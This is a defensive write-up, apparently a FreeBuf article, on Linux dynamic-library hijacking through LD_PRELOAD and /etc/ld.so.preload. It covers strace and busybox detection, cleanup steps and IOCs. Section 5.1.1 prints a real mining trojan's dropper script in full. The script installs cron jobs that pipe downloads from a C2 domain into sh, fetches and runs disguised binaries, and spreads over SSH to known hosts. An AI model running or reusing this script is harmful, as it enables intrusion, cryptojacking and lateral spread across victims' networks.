1. My Journey with Library File Hijacking
0x01 Initial Stage
In September of this year, I encountered a case of Linux library file hijacking. The situation was that a server was continuously sending packets to a suspicious IP, attempting to establish a connection. Later, antivirus software detected a trojan, and even after rebooting, the server continued sending packets, with common system commands like netstat and lsof unable to show the corresponding PID.This made it impossible to locate the corresponding process and assist in handling it, raising suspicions of a rootkit infection. I used rkhunter to scan for rootkits but found nothing. Thinking it was a kernel issue that prevented viewing the PID, I did not conduct a deeper analysis.
0x02 Ongoing Challenges
Not long after, a colleague brought a similar issue to me. They also could not view the corresponding PID through netstat, suspecting a trojan. However, tools like rkhunter did not show any anomalies, and they assumed the situation was the same as before, without deeper analysis and research.
0x03 In-Depth Learning and Understanding the Principles
About a month later, another colleague encountered the same issue. After assisting in the handling, through learning and analysis, I realized that my previous thinking was completely wrong. I thought it was a kernel issue that prevented netstat from showing the PID, and I had relied too much on the results from the tools (rootkit). In fact, it was a library file hijacking issue. After in-depth study and analysis, I wrote this article to share various pitfalls encountered during handling and analysis, to prevent others from repeatedly falling into traps.
2. Principles of Library File Hijacking
Previously, a senior analyzed this case. Interested readers can take a look. I feel the summary is very comprehensive.
https://www.freebuf.com/column/162604.html
Quoting an image from the article, the flow of Linux dynamic preloading is as follows:
1. When an application calls the kernel through the system interface, it will pre-load dynamic link libraries. Even if the program does not depend on these dynamic link libraries, the dynamic libraries specified in the LD_PRELOAD environment variable and /etc/ld.so.preload configuration file will still be loaded.
2. This library mainly includes two contents: LD_PRELOAD and /etc/ld.so.preload
3. LD_PRELOAD is used for pre-loading environment variables
4. /etc/ld.so.preload is used for pre-loading configuration files
5. By default, LD_PRELOAD and /etc/ld.so.preload have no configurations
6. Dynamic compilation: Regardless of whether the program depends on dynamic link libraries, the dynamic libraries specified in the LD_PRELOAD environment variable and /etc/ld.so.preload configuration file will still be loaded.
7. Static compilation: The program does not dynamically load system library files, but directly gathers all the files required by the program into the software platform. This can solve the problem of system library files being hijacked, such as being infected with rootkits that cause connections, networks, etc., to be hidden. Common tools include busybox.
3. Library File Hijacking Techniques
From the previous text, we can see that the main configuration files for Linux preloading are two: LD_PRELOAD and /etc/ld.so.preload. Therefore, the hijacking of Linux library files can be developed around these two. Currently, the mainstream hijacking techniques are mainly three:
1. Change the LD_PRELOAD environment variable to load malicious library files
2. Load malicious library files through /etc/ld.so.preload (the mainstream hijacking technique)
3. Change the default library file /etc/ld.so.preload to other library files
Among them, the second method is the most commonly encountered. It mainly involves modifying /etc/ld.so.preload to pre-load other malicious library files to hijack system commands such as netstat, cat, top, etc., achieving the goals of hiding processes, connections, performance, etc. This is also a typical technique of rootkits.
3.1 LD_PRELOAD Hijacking
3.1.1 Implementation of Hijacking
This hijacking implementation is relatively simple and can be achieved through the following methods:
1. LD_PRELOAD=/lib/f1c8d7.so
Set the value of LD_PRELOAD to the dynamic link library to be pre-loaded
2. export LD_PRELOAD
Export the environment variable to make it effective
3. Generally, the relevant library files will be given hidden attributes
3.1.2 How to Detect
1. Since it is achieved by changing the environment variable to load malicious library files, you can directly check the environment variable. A simple method is to use echo $LD_PRELOAD to check if there is any hijacking.
2. According to the Linux preloading mechanism, the corresponding system commands will load the contents specified by the LDPRELOAD environment variable. Therefore, you can use strace to track the libraries loaded by the corresponding system commands for analysis. We know that Linux preloading has two: LDPRELOAD and /etc/ld.so.preload. Below we can see that tracking /bin/ls reveals that it opened /lib/f1c8d7.so, while indicating that the /etc/ld.so.preload file does not exist, so we can judge that it is hijacked through the environment variable.
3.2 /etc/ld.so.preload Hijacking
3.2.1 How to Implement
This hijacking method is currently the most commonly encountered and is the mainstream hijacking method. It mainly involves modifying its configuration to load a malicious library file for hijacking. Tools from GitHub can be used for this. For details, refer to:
https://github.com/mempodippy/cub3
3.2.2 Hijacking Analysis
Using cat cannot view the corresponding content; using busybox can see the corresponding content, indicating that library hijacking exists. Its type is modifying the /etc/ld.so.preload content to add malicious library files for hijacking.
3.2.3 cub3.so Content
Using strings to view the content of cub3.so
3.2.4 Debugging and Tracking
Since the cat command has been hijacked, we can use strace to track the loading situation of the /bin/cat command. We can see that it accesses /etc/ld.so.preload and opens the /lib/cub3.so library file.
3.2.5 How to Handle
Remove hidden attributes
chattr -ia /etc/ld.so.preload
rm -rf /etc/ld.so.preload /lib/cub3.so
3.3 Modification of Dynamic Linker Hijacking Analysis
3.3.1 How to Implement
Under normal circumstances, the relevant system functions will default to calling the /etc/ld.so.preload library file. However, there are also cases where this default library file has been modified. Therefore, we need to analyze the library files called by the default system commands to analyze whether they have been modified.
Under normal circumstances, the default library files called by the relevant system commands can be traced through the strace command as shown below:
strace -f -e trace=file /bin/lsIt can be seen that the default call is the /etc/ld.so.preload library file:
Next, we will modify this default library file to implement hijacking for analysis:
The hijacking script is: https://github.com/mempodippy/vlany
Create a backdoor account test1
3.3.2 Function Analysis
From its official description, we can see that its characteristics are typical of rootkits, with functions to hide processes, users, networks, backdoors, etc.
3.3.3 Hijacking Analysis
Under normal circumstances, we can see that the default loaded library is /etc/ld.so.preload
After installing the corresponding malicious program, its default library file is modified to /bin/.Kv8Xqykz. At this time, the relevant default library has been modified
3.3.4 How to Handle
1. Directly write a library file to /etc/ld.so.preload
2. Then delete /etc/ld.so.preload
4. How to Detect Library File Hijacking
From the previous discussion, we can see that there are three common methods for detecting Linux library file hijacking:
1. Change the LD_PRELOAD environment variable to load malicious library files
2. Load malicious library files through /etc/ld.so.preload (the mainstream hijacking technique)
3. Change the default library file /etc/ld.so.preload to other library files
Therefore, detection should also be targeted.
4.1 Analyze LD_PRELOAD Environment Variable
It is relatively simple. Directly use echo $LD_PRELOAD to check if there is any hijacking behavior related to the environment variable. I will not elaborate further.
4.2 Static vs. Dynamic Comparison Detection
The principle is simple. Use system commands and static tools, such as busybox, to execute commands for comparison. If the results are consistent, there is no hijacking. If they are inconsistent, there may be hijacking. Generally, this type of hijacking will target all system commands, so we can randomly choose a system command and compare the execution of the system command with the static execution of the command via busybox to detect if there is hijacking. The detailed implementation is as follows:
4.3 Using strace for Dynamic Tracking
strace can be used to track the loading situation of the library files. This method is relatively reliable. If you are worried that the strace command has been replaced or implanted with a rootkit, you can use busybox to execute the command.
4.3.1 Analyze LD_PRELOAD Environment Variable Hijacking
According to the Linux preloading mechanism, the corresponding system commands will load the contents specified by the LDPRELOAD environment variable. Therefore, we can use strace to track the libraries loaded by the corresponding system commands for analysis. We know that Linux preloading has two: LDPRELOAD and /etc/ld.so.preload. Below we can see that tracking /bin/ls reveals that it opened /lib/f1c8d7.so, while indicating that the /etc/ld.so.preload file does not exist, so we can judge that it is hijacked through the environment variable.
4.3.2 Analyze /etc/ld.so.preload Library File Hijacking
Since the cat command has been hijacked, we can use strace to track the loading situation of the /bin/cat command. We can see that it accesses /etc/ld.so.preload and opens the /lib/cub3.so library file.
4.3.3 Analyze Modification of Default Dynamic Linker for Hijacking
Using strace for tracking can reveal that its default library file has been modified to /bin/.Kv8Xqykz. At this time, the relevant default library has been modified.
4.4 GitHub Scripts
There are scripts available on GitHub for detecting library file hijacking. The corresponding script address is as follows:
https://github.com/mempodippy/detect_preload
5. Cases of Linux Library File Hijacking Encountered
5.1 Phenomena
5.1.1 Scheduled Tasks
The system has implanted scheduled tasks, but cannot be deleted using crontab -r
The corresponding C2 address is lsd.systemten.org, which has been identified as remote control and mining trojan through Weibu online.
The corresponding script is as follows:
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
chmod 1777 /tmp
echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org || wget -q -T180 -O- lsd.systemten.org || python -c 'import urllib; print urllib.urlopen("http://lsd.systemten.org").read()') | sh" | crontab -
catt > /etc/crontab <<EOF
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (curl -fsSL -m180 lsd.systemten.org || wget -q -T180 -O- lsd.systemten.org || python -c 'import urllib; print urllib.urlopen("http://lsd.systemten.org").read()' || /usr/local/sbin/638b6d9fb883b8) | sh
EOF
find /etc/cron* | xargs chattr -i
find /var/spool/cron* | xargs chattr -i
grep -RE "(wget|curl)" /etc/cron* | grep -v systemten | cut -f 1 -d : | xargs rm -rf
grep -RE "(wget|curl)" /var/spool/cron* | grep -v systemten | cut -f 1 -d : | xargs rm -rf
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"
a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"
b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"
b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"
c64="https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg"
c32="https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg"
if [ ! -f "638b6d9fb883b8" ]; then
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "64x" ]; then
(curl -fsSL -m180 $a64 -o 638b6d9fb883b8 || wget -T180 -q $a64 -O 638b6d9fb883b8 || python -c 'import urllib; urllib.urlretrieve("http://'$a64'", "638b6d9fb883b8")' || curl -fsSL -m180 $b64 -o 638b6d9fb883b8 || wget -T180 -q $b64 -O 638b6d9fb883b8 || python -c 'import urllib; urllib.urlretrieve("http://'$b64'", "638b6d9fb883b8")' || curl -fsSL -m180 $c64 -o 638b6d9fb883b8 || wget -T180 -q $c64 -O 638b6d9fb883b8 || python -c 'import urllib; urllib.urlretrieve("http://'$c64'", "638b6d9fb883b8")')
else
(curl -fsSL -m180 $a32 -o 638b6d9fb883b8 || wget -T180 -q $a32 -O 638b6d9fb883b8 || python -c 'import urllib; urllib.urlretrieve("http://'$a32'", "638b6d9fb883b8")' || curl -fsSL -m180 $b32 -o 638b6d9fb883b8 || wget -T180 -q $b32 -O 638b6d9fb883b8 || python -c 'import urllib; urllib.urlretrieve("http://'$b32'", "638b6d9fb883b8")' || curl -fsSL -m180 $c32 -o 638b6d9fb883b8 || wget -T180 -q $c32 -O 638b6d9fb883b8 || python -c 'import urllib; urllib.urlretrieve("http://'$c32'", "638b6d9fb883b8")')
fi
fi
chmod +x 638b6d9fb883b8
$(pwd)/638b6d9fb883b8 || ./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 || /usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 || /usr/local/sbin/638b6d9fb883b8
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl -fsSL lsd.systemten.org || wget -q -O- lsd.systemten.org || python -c 'import urllib; print urllib.urlopen("http://lsd.systemten.org").read()') | sh >/dev/null 2>&1 &&"
done
fi
for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl -fsSL lsd.systemten.org || wget -q -O- lsd.systemten.org || python -c 'import urllib; print urllib.urlopen("http://lsd.systemten.org").read()') | sh >/dev/null 2>&1 &&"
done
fi
fi
done
#5.1.2 Local Files
At the same time, using rm -rf command also cannot delete the corresponding files
5.1.3 Network Connections
By analyzing network connections, I found the same situation as before, unable to see the PID
5.1.4 Performance Analysis
Since it is mining, its CPU will definitely be utilized a lot, but when we use the TOP command to check, the CPU utilization is very low, completely not showing any issues.
5.2 Analysis
5.2.1 busybox Analysis
With the previous analysis as a foundation, it becomes relatively simple to handle this issue. Library file hijacking is relatively rare, but if you don’t have this accumulation, it can be difficult to deal with when encountered. This article serves to enlighten everyone; understanding the principles will make handling much easier.
Directly using the powerful busybox, we can see two PIDs (104110 and 104025) occupying over 98% of the CPU
At the same time, using busybox to check netstat reveals that the previously unseen PID is mainly 104025. I speculate that PID 104110 is primarily used for mining, while 104025 is used for communication with the mining pool and distributing tasks.
5.2.2 Library File Hijacking Analysis
Using busybox directly, we can see that /etc/ld.so.preload loads the following library file /usr/local/lib/libEGID.so, which is definitely a malicious library file used for hijacking.
5.3 Handling
From the above, we can see that the malicious program has the following functions:
1. Library file hijacking
2. Creating scheduled tasks
3. Preventing file deletion
4. Creating malicious processes
5. External network connections
Therefore, handling should be targeted based on the above behaviors. The premise of handling is to collect the specific malicious behaviors, such as which scheduled tasks were created, which malicious processes were generated, etc. There are scripts available online that can be referenced during handling, but the processes and directories may not match those in the scripts. We need to update and improve based on the specific situation encountered. The key points are as follows:
5.3.1 Delete Scheduled Tasks
5.3.2 Delete Abnormal Processes
5.3.3 Repair Dynamic Libraries
5.3.4 Repair Startup Items
5.4 Summary
Library file hijacking is a technique that is relatively rare, but I searched for it on Freebuf and found it has been popular since 2018. If you do not have this knowledge accumulated, it can be challenging to handle when encountered. This article serves to enlighten everyone; once you understand the principles, handling will be much easier.
6. LOCs
6.1 IP
121.237.8.28
121.237.8.29
121.237.8.31
121.237.8.33
121.237.8.35
121.237.8.36
121.237.8.38
121.237.8.41
121.237.8.42
121.237.8.47
121.237.8.48
121.237.8.50
6.2 Domain Names
lsd.systemten.org
aliyun.one
6.3 MD5
6e734be6192fc688421641fee6b06c01
*This article is originally written by: feiniao, this article belongs to the FreeBuf original reward program, and reproduction is prohibited without permission
Exciting Recommendations
